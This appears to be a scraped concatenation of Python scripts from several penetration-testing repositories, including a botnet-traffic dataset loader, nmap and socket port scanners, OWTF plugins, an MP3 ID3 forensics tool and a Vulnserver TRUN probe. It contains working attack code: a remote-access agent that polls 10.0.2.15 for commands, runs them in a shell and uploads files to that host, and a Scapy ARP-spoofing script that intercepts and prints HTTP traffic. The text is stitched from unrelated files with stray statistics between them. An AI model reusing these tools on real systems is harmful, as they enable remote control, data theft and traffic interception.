import socket, struct, sys import numpy as np import pickle def loaddata(fileName): file = open(fileName, 'r') xdata = [] ydata = [] xdataT = [] ydataT = [] flag=0 count1=0 count2=0 count3=0 count4=0 #dicts to convert protocols and state to integers protoDict = {'arp': 5, 'unas': 13, 'udp': 1, 'rtcp': 7, 'pim': 3, 'udt': 11, 'esp': 12, 'tcp' : 0, 'rarp': 14, 'ipv6-icmp': 9, 'rtp': 2, 'ipv6': 10, 'ipx/spx': 6, 'icmp': 4, 'igmp' : 8} stateDict = {'': 1, 'FSR_SA': 30, '_FSA': 296, 'FSRPA_FSA': 77, 'SPA_SA': 31, 'FSA_SRA': 1181, 'FPA_R': 46, 'SPAC_SPA': 37, 'FPAC_FPA': 2, '_R': 1, 'FPA_FPA': 784, 'FPA_FA': 66, '_FSRPA': 1, 'URFIL': 431, 'FRPA_PA': 5, '_RA': 2, 'SA_A': 2, 'SA_RA': 125, 'FA_FPA': 17, 'FA_RA': 14, 'PA_FPA': 48, 'URHPRO': 380, 'FSRPA_SRA': 8, 'R_':541, 'DCE': 5, 'SA_R': 1674, 'SA_': 4295, 'RPA_FSPA': 4, 'FA_A': 17, 'FSPA_FSPAC': 7, 'RA_': 2230, 'FSRPA_SA': 255, 'NNS': 47, 'SRPA_FSPAC': 1, 'RPA_FPA': 42, 'FRA_R': 10, 'FSPAC_FSPA': 86, 'RPA_R': 3, '_FPA': 5, 'SREC_SA': 1, 'URN': 339, 'URO': 6, 'URH': 3593, 'MRQ': 4, 'SR_FSA': 1, 'SPA_SRPAC': 1, 'URP': 23598, 'RPA_A': 1, 'FRA_': 351, 'FSPA_SRA': 91, 'FSA_FSA': 26138, 'PA_': 149, 'FSRA_FSPA': 798, 'FSPAC_FSA': 11, 'SRPA_SRPA': 176, 'SA_SA': 33, 'FSPAC_SPA': 1, 'SRA_RA': 78, 'RPAC_PA': 1, 'FRPA_R': 1, 'SPA_SPA': 2989, 'PA_RA': 3, 'SPA_SRPA': 4185, 'RA_FA': 8, 'FSPAC_SRPA': 1, 'SPA_FSA': 1, 'FPA_FSRPA': 3, 'SRPA_FSA': 379, 'FPA_FRA': 7, 'S_SRA': 81, 'FSA_SA': 6, 'State': 1, 'SRA_SRA': 38, 'S_FA': 2, 'FSRPAC_SPA': 7, 'SRPA_FSPA': 35460, 'FPA_A': 1, 'FSA_FPA': 3, 'FRPA_RA': 1, 'FSAU_SA': 1, 'FSPA_FSRPA': 10560, 'SA_FSA': 358, 'FA_FRA': 8, 'FSRPA_SPA': 2807, 'FSRPA_FSRA': 32, 'FRA_FPA': 6, 'FSRA_FSRA': 3, 'SPAC_FSRPA': 1, 'FS_': 40, 'FSPA_FSRA': 798, 'FSAU_FSA': 13, 'A_R': 36, 'FSRPAE_FSPA': 1, 'SA_FSRA': 4, 'PA_PAC': 3, 'FSA_FSRA': 279, 'A_A': 68, 'REQ': 892, 'FA_R': 124, 'FSRPA_SRPA': 97, 'FSPAC_FSRA':20, 'FRPA_RPA': 7, 'FSRA_SPA': 8, 'INT': 85813, 'FRPA_FRPA': 6, 'SRPAC_FSPA': 4, 'SPA_SRA': 808, 'SA_SRPA': 1, 'SPA_FSPA': 2118, 'FSRAU_FSA': 2, 'RPA_PA': 171,'_SPA': 268, 'A_PA': 47, 'SPA_FSRA': 416, 'FSPA_FSRPAC': 2, 'PAC_PA': 5, 'SRPA_SPA': 9646, 'SRPA_FSRA': 13, 'FPA_FRPA': 49, 'SRA_SPA': 10, 'SA_SRA': 838, 'PA_PA': 5979, 'FPA_RPA': 27, 'SR_RA': 10, 'RED': 4579, 'CON': 2190507, 'FSRPA_FSPA':13547, 'FSPA_FPA': 4, 'FAU_R': 2, 'ECO': 2877, 'FRPA_FPA': 72, 'FSAU_SRA': 1, 'FRA_FA': 8, 'FSPA_FSPA': 216341, 'SEC_RA': 19, 'ECR': 3316, 'SPAC_FSPA': 12, 'SR_A': 34, 'SEC_': 5, 'FSAU_FSRA': 3, 'FSRA_FSRPA': 11, 'SRC': 13, 'A_RPA': 1, 'FRA_PA': 3, 'A_RPE': 1, 'RPA_FRPA': 20, '_SRA': 74, 'SRA_FSPA': 293, 'FPA_': 118, 'FSRPAC_FSRPA': 2, '_FA': 1, 'DNP': 1, 'FSRPA_FSRPA': 379, 'FSRA_SRA': 14, '_FRPA': 1, 'SR_': 59, 'FSPA_SPA': 517, 'FRPA_FSPA': 1, 'PA_A': 159, 'PA_SRA': 1, 'FPA_RA': 5, 'S_': 68710, 'SA_FSRPA': 4, 'FSA_FSRPA': 1, 'SA_SPA': 4, 'RA_A': 5, '_SRPA': 9, 'S_FRA': 156, 'FA_FRPA': 1, 'PA_R': 72, 'FSRPAEC_FSPA': 1, '_PA': 7, 'RA_S': 1, 'SA_FR': 2, 'RA_FPA': 6, 'RPA_': 5, '_FSPA': 2395, 'FSA_FSPA': 230, 'UNK': 2, 'A_RA': 9, 'FRPA_': 6, 'URF': 10, 'FS_SA': 97, 'SPAC_SRPA': 8, 'S_RPA': 32, 'SRPA_SRA': 69, 'SA_RPA': 30, 'PA_FRA': 4, 'FSRA_SA': 49, 'FSRA_FSA': 206, 'PAC_RPA': 1, 'SRA_': 18, 'FA_': 451, 'S_SA': 6917, 'FSPA_SRPA': 427, 'TXD': 542,'SRA_SA': 1514, 'FSPA_FA': 1, 'FPA_FSPA': 10, 'RA_PA': 3, 'SRA_FSA': 709, 'SRPA_SPAC': 3, 'FSPAC_FSRPA': 10, 'A_': 191, 'URNPRO': 2, 'PA_RPA': 81, 'FSPAC_SRA':1, 'SRPA_FSRPA': 3054, 'SPA_': 1, 'FA_FA': 259, 'FSPA_SA': 75, 'SR_SRA': 1, 'FSA_': 2, 'SRPA_SA': 406, 'SR_SA': 3119, 'FRPA_FA': 1, 'PA_FRPA': 13, 'S_R': 34, 'FSPAEC_FSPAE': 3, 'S_RA': 61105, 'FSPA_FSA': 5326, '_SA': 20, 'SA_FSPA': 15, 'SRPAC_SPA': 8, 'FPA_PA': 19, 'FSRPAE_FSA': 1, 'S_A': 1, 'RPA_RPA': 3, 'NRS': 6, 'RSP': 115, 'SPA_FSRPA': 1144, 'FSRPAC_FSPA': 139} file.readline() for line in file: sd = line[:-1].split(',') dur, proto, Sport, Dport, Sip, Dip, totP, totB, label, state = sd[1], sd[2], sd[4], sd[7], sd[3], sd[6], sd[-4], sd[-3], sd[-1], sd[8] try: Sip = socket.inet_aton(Sip) Sip = struct.unpack("!L", Sip)[0] except: continue try: Dip = socket.inet_aton(Dip) Dip = struct.unpack("!L", Dip)[0] except: continue if Sport=='': continue if Dport=='': continue #back, nor, bot try: if "Background" in label: label=0 elif "Normal" in label: label = 0 elif "Botnet" in label: label = 1 if flag==0: #Training Dataset if label==0 and count1<20001: xdata.append([float(dur), protoDict[proto], int(Sport), int(Dport), Sip, Dip, int(totP), int(totB), stateDict[state]]) ydata.append(label) count1+=1 elif label==1 and count2<20001: xdata.append([float(dur), protoDict[proto], int(Sport), int(Dport), Sip, Dip, int(totP), int(totB), stateDict[state]]) ydata.append(label) count2+=1 elif count1>19999 and count2>19999: #print("HI") flag=1 else: #Test dataset if label==0 and count3<5001: #print("H") xdataT.append([float(dur), protoDict[proto], int(Sport), int(Dport), Sip, Dip, int(totP), int(totB), stateDict[state]]) ydataT.append(label) count3+=1 elif label==1 and count4<5001: xdataT.append([float(dur), protoDict[proto], int(Sport), int(Dport), Sip, Dip, int(totP), int(totB), stateDict[state]]) ydataT.append(label) count4 += 1 elif count3>4999 and count4>4999: break except: continue #pickle the dataset for fast loading file = open('flowdata.pickle', 'wb') pickle.dump([np.array(xdata), np.array(ydata), np.array(xdataT), np.array(ydataT)], file) #return the training and the test dataset return np.array(xdata), np.array(ydata), np.array(xdataT), np.array(ydataT) if __name__ == "__main__": loaddata('flowdata.binetflow')
65.427083
3,337
0.507058
Effective-Python-Penetration-Testing
import nmap # import nmap.py module nmap = nmap.PortScanner() host = '127.0.0.1' nmap.scan(host, '1-1024') print nmap.command_line() print nmap.scaninfo() for host in nmap.all_hosts(): print('Host : %s (%s)' % (host, nmap[host].hostname())) print('State : %s' % nmap[host].state()) for proto in nmap[host].all_protocols(): print('Protocol : %s' % proto) listport = nmap[host]['tcp'].keys() listport.sort() for port in listport: print('port : %s\tstate : %s' % (port, nmap[host][proto][port]['state']))
26.35
77
0.606227
cybersecurity-penetration-testing
import sys import os import nmap with open("./nmap_output.xml", "r") as fd: content = fd.read() nm.analyse_nmap_xml_scan(content) print(nm.csv())
19.375
42
0.635802
Python-for-Offensive-PenTest
# Python For Offensive PenTest # Searching for Content import requests import subprocess import os import time while True: req = requests.get('http://10.0.2.15') command = req.text if 'terminate' in command: break elif 'grab' in command: grab,path=command.split('*') if os.path.exists(path): url = 'http://10.0.2.15/store' files = {'file': open(path, 'rb')} r = requests.post(url, files=files) else: post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' ) elif 'search' in command: # The Formula is search <path>*.<file extension> , for example let's say that we got search C:\\*.pdf # if we remove the first 7 character the output would C:\\*.pdf which is basically what we need command = command[7:] # cut off the the first 7 character ,, output would be C:\\*.pdf path,ext=command.split('*') # split C:\\*.pdf into two sections, the first section (C:\\) will be stored in path variable and # the second variable (.pdf) will be stored in ext variable list = '' # here we define a string where we will append our result on it ''' os.walk is a function that will naviagate ALL the directoies specified in the provided path and returns three values:- dirpath is a string contains the path to the directory dirnames is a list of the names of the subdirectories in dirpath files is a list of the files name in dirpath Once we got the files list, we check each file (using for loop), if the file extension was matching what we are looking for, then we add the directory path into list string. the os.path.join represents a path relative for our file to the current directory and in our example it's the C:\\ directory ''' for dirpath, dirname, files in os.walk(path): for file in files: if file.endswith(ext): list = list + '\n' + os.path.join(dirpath, file) requests.post(url='http://10.0.2.15', data= list ) # Send the search result else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() ) post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() ) time.sleep(3)
33.868421
141
0.596074
owtf
""" GREP Plugin for Logout and Browse cache management NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log """ from owtf.plugin.helper import plugin_helper DESCRIPTION = "Searches transaction DB for Cache snooping protections" def run(PluginInfo): title = "This plugin looks for server-side protection headers and tags against cache snooping<br />" Content = plugin_helper.HtmlString(title) Content += plugin_helper.FindResponseHeaderMatchesForRegexpName( "HEADERS_FOR_CACHE_PROTECTION" ) Content += plugin_helper.FindResponseBodyMatchesForRegexpName( "RESPONSE_REGEXP_FOR_CACHE_PROTECTION" ) return Content
33.8
104
0.755396
cybersecurity-penetration-testing
__author__ = 'Preston Miller & Chapin Bryce' import wal_crawler import setupapi import userassist import exif import id3 import office import pst_indexer
14.6
44
0.793548
owtf
""" owtf.api.handlers.report ~~~~~~~~~~~~~~~~~~~~~~~~ """ import collections from collections import defaultdict from time import gmtime, strftime from owtf.api.handlers.base import APIRequestHandler from owtf.constants import RANKS, MAPPINGS, SUPPORTED_MAPPINGS from owtf.lib import exceptions from owtf.lib.exceptions import APIError from owtf.managers.poutput import get_all_poutputs from owtf.managers.target import get_target_config_by_id from owtf.models.test_group import TestGroup from owtf.utils.pycompat import iteritems from owtf.api.handlers.jwtauth import jwtauth __all__ = ["ReportExportHandler"] @jwtauth class ReportExportHandler(APIRequestHandler): """Class handling API methods related to export report funtionality. This API returns all information about a target scan present in OWTF. :raise InvalidTargetReference: If target doesn't exists. :raise InvalidParameterType: If some unknown parameter in `filter_data`. """ SUPPORTED_METHODS = ["GET"] def get(self, target_id=None): """Returns JSON(data) for the template. **Example request**: .. sourcecode:: http GET /api/v1/targets/2/export HTTP/1.1 Accept: application/json **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Type: application/json { "status": "success", "data": { "top_url": "https://google.com:443", "top_domain": "com", "target_url": "https://google.com", "time": "2018-04-03 09:21:27", "max_user_rank": -1, "url_scheme": "https", "host_path": "google.com", "ip_url": "https://104.28.0.9", "host_ip": "104.28.0.9", "vulnerabilities": [], "max_owtf_rank": -1, "port_number": "443", "host_name": "google.com", "alternative_ips": "['104.28.1.9']", "scope": true, "id": 2 } } """ if not target_id: raise APIError(400, "Missing target id") try: filter_data = dict(self.request.arguments) plugin_outputs = get_all_poutputs(filter_data, target_id=target_id, inc_output=True) except exceptions.InvalidTargetReference: raise APIError(400, "Invalid target reference provided") except exceptions.InvalidParameterType: raise APIError(400, "Invalid parameter type provided") # Group the plugin outputs to make it easier in template grouped_plugin_outputs = defaultdict(list) for output in plugin_outputs: output["rank"] = RANKS.get(max(output["user_rank"], output["owtf_rank"])) grouped_plugin_outputs[output["plugin_code"]].append(output) # Needed ordered list for ease in templates grouped_plugin_outputs = collections.OrderedDict(sorted(grouped_plugin_outputs.items())) # Get mappings mapping_type = self.get_argument("mapping", None) mappings = {} if mapping_type and mapping_type in SUPPORTED_MAPPINGS: for k, v in iteritems(MAPPINGS): if v.get(mapping_type, None) is not None: mappings[k] = v[mapping_type] # Get test groups as well, for names and info links test_groups = {} for test_group in TestGroup.get_all(self.session): test_group["mapped_code"] = test_group["code"] test_group["mapped_descrip"] = test_group["descrip"] if mappings and test_group["code"] in mappings: code, description = mappings[test_group["code"]] test_group["mapped_code"] = code test_group["mapped_descrip"] = description test_groups[test_group["code"]] = test_group vulnerabilities = [] for key, value in list(grouped_plugin_outputs.items()): test_groups[key]["data"] = value vulnerabilities.append(test_groups[key]) result = get_target_config_by_id(target_id) result["vulnerabilities"] = vulnerabilities result["time"] = strftime("%Y-%m-%d %H:%M:%S", gmtime()) if result: self.success(result) else: raise APIError(500, "No config object exists for the given target")
35.637097
96
0.57904
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalSessionManagement") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
28.090909
75
0.783699
Penetration-Testing-with-Shellcode
#!/usr/bin/python import socket server = '192.168.214.5' sport = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, sport)) print s.recv(1024) s.send(('TRUN .' + 'A'*50 + '\r\n')) print s.recv(1024) s.send('EXIT\r\n') print s.recv(1024) s.close()
22.666667
53
0.667845
Ethical-Hacking-Scripts
import socket, threading, sys, ipaddress, time, os from optparse import OptionParser from scapy.all import * class Port_Scanner: def __init__(self, ip, ports): self.ip = str(ip) self.logfile = "squidmap.txt" file = open(self.logfile,"w") file.close() self.isnetwork = False self.isonehost = True if "/24" in self.ip: self.hosts = [] self.uphosts = [] self.isnetwork = True self.isonehost = False print(self.logo()) self.log_output(self.logo()) print(f"[+] Output will be saved in file: {os.path.join(os.getcwd(),self.logfile)}") self.max_port = ports self.ports = range(ports) self.ports_scanned = 0 self.open_ports = [] self.checked_hosts = 0 self.banners = [] if self.isnetwork: print("[+] Sending ICMP Packets to Network to check for online IP's.\n[+] Please wait.....\n") self.networkscan() if self.isonehost: self.port_scan(self.ip) def ping_host(self, host): if sys.platform == "win32": result = os.popen(f"ping {host} -n 1") result2 = result.read() else: try: result = os.popen(f"ping {host} -c 1") result2 = result.read() except: result2 = "" if "unreachable" in result2 or "100% loss" in result2 or "100.0% packet loss" in result2: pass else: print(f"[+] {host} is up!") self.uphosts.append(str(host)) self.checked_hosts += 1 def networkscan(self): self.ip = str(self.ip) self.split_ip = self.ip.split(".") if not self.split_ip[len(self.split_ip)-1].startswith("0"): self.split_ip.remove(self.split_ip[len(self.split_ip)-1]) self.split_ip.append("0/24") self.result = "" item = 0 for i in self.split_ip: if item != len(self.split_ip)-1: self.result = self.result + i + "." else: self.result = self.result + i item += 1 self.ip = self.result self.network = ipaddress.IPv4Network(self.ip) for host in self.network.hosts(): self.hosts.append(str(host)) for host in self.hosts: check_host = threading.Thread(target=self.ping_host, args=(host,)) check_host.start() while True: if self.checked_hosts >= len(self.hosts): print(f"[+] Hosts Scan done.\n[+] Online Hosts: {self.uphosts}") break for host in self.uphosts: portscan = threading.Thread(target=self.port_scan, args=(host,)) portscan.start() def get_mac(self, ip): arp = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip) recv = srp(arp, timeout=2, verbose=False) return recv[0][0][1].hwsrc def log_output(self,msg): time.sleep(1) file = open(self.logfile,"r") content = file.read() file.close() file = open(self.logfile,"w") file.write(content+"\n") file.write(msg) file.close() def logo(self): return """ _________ .__ .___ _____ _____ _______ / _____/ ________ __|__| __| _// \ _____ ______ ___ __/ | | \ _ \ \_____ \ / ____/ | \ |/ __ |/ \ / \\\__ \ \____ \ \ \/ / | |_ / /_\ \ / < <_| | | / / /_/ / Y \/ __ \| |_> > \ / ^ / \ \_/ \\ /_______ /\__ |____/|__\____ \____|__ (____ / __/ \_/\____ | /\ \_____ / \/ |__| \/ \/ \/|__| |__| \/ \/ Vulnerability-Scanner By DrSquid""" def port_scan(self, ip): print(f"[+] Beginning Port Scan On {ip}.") mac = "Unknown" reversedns = "Unknown" try: mac = self.get_mac(ip) print(f"[+] {ip}'s MAC Address: {mac}") except: print(f"[+] Unable to obtain MAC Address from: {ip}") try: reversedns = socket.gethostbyaddr(ip) print(f"[+] Reverse DNS of {ip}: {reversedns[0]}") except: print(f"[+] Unable to get Reverse DNS of {ip}.") for port in self.ports: scanning = threading.Thread(target=self.scan,args=(ip, port)) scanning.start() while True: if self.ports_scanned >= self.max_port: open_ports = [] appendmsg = "" msg=f"[+] Port Scan on {ip} Completed.\n[+] Obtained Banners For {ip}." for port in self.open_ports: if ip+" " in port: port_split = port.split() open_ports.append(port_split[1]) if len(open_ports) == 0: appendmsg=f"\n[+] There are no Ports Open on {ip}." else: appendmsg=f"\n[+] Open Ports on {ip}: {open_ports}" for port in open_ports: for banner in self.banners: split_banner = banner.split() if ip in split_banner[0] and port in split_banner[1]: result = "" del split_banner[0] del split_banner[0] for item in split_banner: result = result + " " + item result = result.strip() appendmsg += f"\n[+] {ip} Port {port} Banner: {result}" msg += appendmsg print(msg) logmsg = "\n"+msg+f"\n[+] {ip}'s MAC Address: {mac}\n[+] Reverse DNS of {ip}: {reversedns[0]}" self.log_output(logmsg) break def scan(self, ip, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) self.open_ports.append(f"{ip} {port}") s.settimeout(10) print(f"[!] Discovered Open Port on {ip}: {port}") try: banner = s.recv(65500).decode().strip("\n").strip("\r") self.banners.append(f"{ip} {port} {banner}") except Exception as e: self.banners.append(f"{ip} {port} None") s.close() except Exception as e: pass self.ports_scanned += 1 class OptionParse: def __init__(self): if len(sys.argv) < 2: self.usage() else: self.get_args() def usage(self): print(Port_Scanner.logo(None)) print(""" [+] Option-Parsing Help: [+] --ip, --ipaddr - Specifies an IP Address to Scan(can be a network). [+] --p, --ports - Specifies the amount of ports to Scan. [+] Optional Arguements: [+] --i, --info - Shows this message. [+] Usage:""") if sys.argv[0].endswith(".py"): print("[+] python3 Squidmap.py --ip <ipaddr> --p <ports>") print("[+] python3 Squidmap.py --i") else: print("[+] Squidmap --ip <ipaddr> --p <ports>") print("[+] Squidmap --i") def get_args(self): self.opts = OptionParser() self.opts.add_option("--ip","--ipaddr",dest="ip") self.opts.add_option("--p","--port",dest="port") self.opts.add_option("--i","--info",dest="info",action="store_true") args, opt =self.opts.parse_args() if args.info is not None: self.usage() sys.exit() else: pass if args.ip is None: self.usage() else: ip = args.ip if args.port is None: ports = 1024 else: try: ports = int(args.port) except: print("[+] Invalid Port!") sys.exit() SquidMap = Port_Scanner(ip, ports) try: from scapy.all import * except: Port_Scanner.logo(None) print("[+] Scapy is required to run this script.\n[+] Run this command if you have python: pip install scapy") sys.exit() parser = OptionParse()
39.731132
115
0.446491
Python-Penetration-Testing-Cookbook
import sys from scapy.all import * interface = "en0" source_ip = "192.168.1.1" destination_ip = "192.168.1.35" def getMAC(IP, interface): answerd, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 5, iface=interface, inter = 0.1) for send,recieve in answerd: return recieve.sprintf(r"%Ether.src%") def setIPForwarding(set): if set: #for OSX os.system('sysctl -w net.inet.ip.forwarding=1') #for Linux #os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') else: #for OSX os.system('sysctl -w net.inet.ip.forwarding=0') #other #os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') def resetARP(destination_ip, source_ip, interface): destinationMAC = getMAC(destination_ip, interface) sourceMAC = getMAC(source_ip, interface) send(ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=destinationMAC, retry=7)) send(ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=sourceMAC, retry=7)) setIPForwarding(False) def mitm(destination_ip, destinationMAC, source_ip, sourceMAC): arp_dest_to_src = ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst=destinationMAC) arp_src_to_dest = ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst=sourceMAC) send(arp_dest_to_src) send(arp_src_to_dest) def callBackParser(packet): if IP in packet: source_ip = packet[IP].src destination_ip = packet[IP].dst print("From : " + str(source_ip) + " to -> " + str(destination_ip)) if TCP in packet: try: if packet[TCP].dport == 80 or packet[TCP].sport == 80: print(packet[TCP].payload) except: pass def main(): setIPForwarding(True) try: destinationMAC = getMAC(destination_ip, interface) except Exception as e: setIPForwarding(False) print(e) sys.exit(1) try: sourceMAC = getMAC(source_ip, interface) except Exception as e: setIPForwarding(False) print(e) sys.exit(1) while True: try: mitm(destination_ip, destinationMAC, source_ip, sourceMAC) sniff(iface=interface, prn=callBackParser,count=10) except KeyboardInterrupt: resetARP(destination_ip, source_ip, interface) break sys.exit(1) main()
29.7125
121
0.617264
cybersecurity-penetration-testing
import socket host = "192.168.0.1" port = 12346 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.bind((host,port)) s.settimeout(5) data, addr = s.recvfrom(1024) print "recevied from ",addr print "obtained ", data s.close() except socket.timeout : print "Client not connected" s.close()
18.3125
52
0.694805
Python-Penetration-Testing-for-Developers
import urllib2 GOOGLE_API_KEY = "{Insert your Google API key}" target = "packtpub.com" api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read() api_response = api_response.split("\n") for line in api_response: if "displayName" in line: print line
35
119
0.705882
cybersecurity-penetration-testing
''' MP3-ID3Forensics Python Script (written completely in Python) For the extraction of meta data and potential evidence hidden in MP3 files specifically in the ID3 Headers Author C. Hosmer Python Forensics Copyright (c) 2015-2016 Chet Hosmer / Python Forensics, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. ''' # IMPORT MODULES # Standard Python Libraries import os # Standard Operating System Methods import argparse # Command Line Argument Parsing from struct import * # Handle Strings as Binary Data import string # Special string Module import time # Date Time Module # Function: GetTime() # # Returns a string containing the current time # # Script will use the local system clock, time, date and timezone # to calcuate the current time. Thus you should sync your system # clock before using this script # # Input: timeStyle = 'UTC', 'LOCAL', the function will default to # UTC Time if you pass in nothing. def GetTime(timeStyle = "UTC"): if timeStyle == 'UTC': return ('UTC Time: ', time.asctime(time.gmtime(time.time()))) else: return ('LOC Time: ', time.asctime(time.localtime(time.time()))) # End GetTime Function ============================ # # Print Hexidecimal / ASCII Page Heading # def PrintHeading(): print("Offset 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ASCII") print("------------------------------------------------------------------------------------------------") return # End PrintHeading # # Print ID3 Frame Contents # # Input: buff - Holding the frame content # buffSize - Size of the frame contents # def PrintContents(buff, buffSize): PrintHeading() offset = 0 # Loop through 1 line at a time for i in range(offset, offset+buffSize, 16): # Print the current offset print "%08x " % i, # Print 16 Hex Bytes for j in range(0,16): if i+j >= buffSize: print ' ', else: byteValue = ord(buff[i+j]) print "%02x " % byteValue, print " ", # Print 16 Ascii equivelents for j in range (0,16): if i+j >= buffSize: break byteValue = ord(buff[i+j]) # If printable characters print them if (byteValue >= 0x20 and byteValue <= 0x7f): print "%c" % byteValue, else: print '.', print return # End Print Buffer ''' ID3 Class Extracting Meta and Evidence from mp3 files ''' class ID3(): #Class Constructor def __init__(self, theFile): # Initialize Attributes of the Object # Local Constants self.KNOWN_TAGS_V3 = { 'AENC': 'Audio encryption: ', 'APIC': 'Attached picture: ', 'COMM': 'Comments: ', 'COMR': 'Commercial frame: ', 'ENCR': 'Encryption method registration: ', 'EQUA': 'Equalization: ', 'ETCO': 'Event timing codes: ', 'GEOB': 'General encapsulated object: ', 'GRID': 'Grp identification registration: ', 'IPLS': 'Involved people list: ', 'LINK': 'Linked information: ', 'MCDI': 'Music CD identifier: ', 'MLLT': 'MPEG location lookup table: ', 'OWNE': 'Ownership frame: ', 'PRIV': 'Private frame: ', 'PCNT': 'Play counter: ', 'POPM': 'Popularimeter: ', 'POSS': 'Position synchronisation frame: ', 'RBUF': 'Recommended buffer size: ', 'RGAD': 'Replay Gain Adjustment: ', 'RVAD': 'Relative volume adjustment: ', 'RVRB': 'Reverb: ', 'SYLT': 'Synchronized lyric/text: ', 'SYTC': 'Synchronized tempo codes: ', 'TALB': 'Album/Movie/Show title: ', 'TBPM': 'BPM beats per minute: ', 'TCOM': 'Composer: ', 'TCON': 'Content type: ', 'TCOP': 'Copyright message: ', 'TDAT': 'Date: ', 'TDLY': 'Playlist delay: ', 'TDRC': 'Recording Time: ', 'TENC': 'Encoded by: ', 'TEXT': 'Lyricist/Text writer: ', 'TFLT': 'File type: ', 'TIME': 'Time: ', 'TIT1': 'Content group description: ', 'TIT2': 'Title/songname/content descrip: ', 'TIT3': 'Subtitle/Description refinement: ', 'TKEY': 'Initial key: ', 'TLAN': 'Language: ', 'TLEN': 'Length: ', 'TMED': 'Media type: ', 'TOAL': 'Original album/movie/show title: ', 'TOFN': 'Original filename: ', 'TOLY': 'Original lyricist/text writer: ', 'TOPE': 'Original artist/performer: ', 'TORY': 'Original release year: ', 'TOWN': 'File owner/licensee: ', 'TPE1': 'Lead performer/Soloist: ', 'TPE2': 'Band/orchestra/accompaniment: ', 'TPE3': 'Conductor/performer refinement: ', 'TPE4': 'Interpreted, remixed, modified by:', 'TPOS': 'Part of a set: ', 'TPUB': 'Publisher: ', 'TRCK': 'Track number/Position in set: ', 'TRDA': 'Recording dates: ', 'TRSN': 'Internet radio station name: ', 'TRSO': 'Internet radio station owner: ', 'TSIZ': 'Size: ', 'TSRC': 'Intl standard recording code: ', 'TSSE': 'SW/HW settings used for encoding: ', 'TYER': 'User defined text frame: ', 'TXXX': 'User define general text frame: ', 'UFID': 'Unique file identifier: ', 'USER': 'Terms of use: ', 'USLT': 'Unsyched lyric/text transcription:', 'WCOM': 'Commercial information: ', 'WCOP': 'Copyright/Legal informationL ', 'WOAF': 'Official audio file webpage: ', 'WOAR': 'Official artist/performer webpage:', 'WOAS': 'Official audio source webpage: ', 'WORS': 'Official internet radio homepage: ', 'WPAY': 'Payment: ', 'WPUB': 'Publishers official webpage: ', 'WXXX': 'User defined URL link frame: ' } self.KNOWN_TAGS_V2 = { 'BUF': 'Recommended buffer size', 'COM': 'Comments', 'CNT': 'Play counter', 'CRA': 'Audio Encryption', 'CRM': 'Encrypted meta frame', 'ETC': 'Event timing codes', 'EQU': 'Equalization', 'GEO': 'General encapsulated object', 'IPL': 'Involved people list', 'LNK': 'Linked information', 'MCI': 'Music CD Identifier', 'MLL': 'MPEG location lookup table', 'PIC': 'Attached picture', 'POP': 'Popularimeter', 'REV': 'Reverb', 'RVA': 'Relative volume adjustment', 'SLT': 'Synchronized lyric/text', 'STC': 'Synced tempo codes', 'TAL': 'Album/Movie/Show title', 'TBP': 'BPM Beats Per Minute', 'TCM': 'Composer', 'TCO': 'Content type', 'TCR': 'Copyright message', 'TDA': 'Date', 'TDY': 'Playlist delay', 'TEN': 'Encoded by', 'TFT': 'File type', 'TIM': 'Time', 'TKE': 'Initial key', 'TLA': 'Languages', 'TLE': 'Length', 'TMT': 'Media type', 'TOA': 'Original artists/performers', 'TOF': 'Original filename', 'TOL': 'Original Lyricists/text writers', 'TOR': 'Original release year', 'TOT': 'Original album/Movie/Show title', 'TP1': 'Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group', 'TP2': 'Band/Orchestra/Accompaniment', 'TP3': 'Conductor/Performer refinement', 'TP4': 'Interpreted, remixed, or otherwise modified by', 'TPA': 'Part of a set', 'TPB': 'Publisher', 'TRC': 'International Standard Recording Code', 'TRD': 'Recording dates', 'TRK': 'Track number/Position in set', 'TSI': 'Size', 'TSS': 'Software/hardware and settings used for encoding', 'TT1': 'Content group description', 'TT2': 'Title/Songname/Content description', 'TT3': 'Subtitle/Description refinement', 'TXT': 'Lyricist/text writer', 'TXX': 'Year', 'UFI': 'Unique file identifier', 'ULT': 'Unsychronized lyric/text transcription', 'WAF': 'Official audio file webpage', 'WAR': 'Official artist/performer webpage', 'WAS': 'Official audio source webpage', 'WCM': 'Commercial information', 'WCP': 'Copyright/Legal information', 'WPB': 'Publishers official webpage', 'WXX': 'User defined URL link frame' } self.picTypeList = [ 'Other', 'fileIcon', 'OtherIcon', 'FrontCover', 'BackCover', 'LeafletPage', 'Media', 'LeadArtist', 'ArtistPerformer', 'Conductor', 'BandOrchestra', 'Composer', 'Lyricist', 'RecordingLocation', 'DuringRecording', 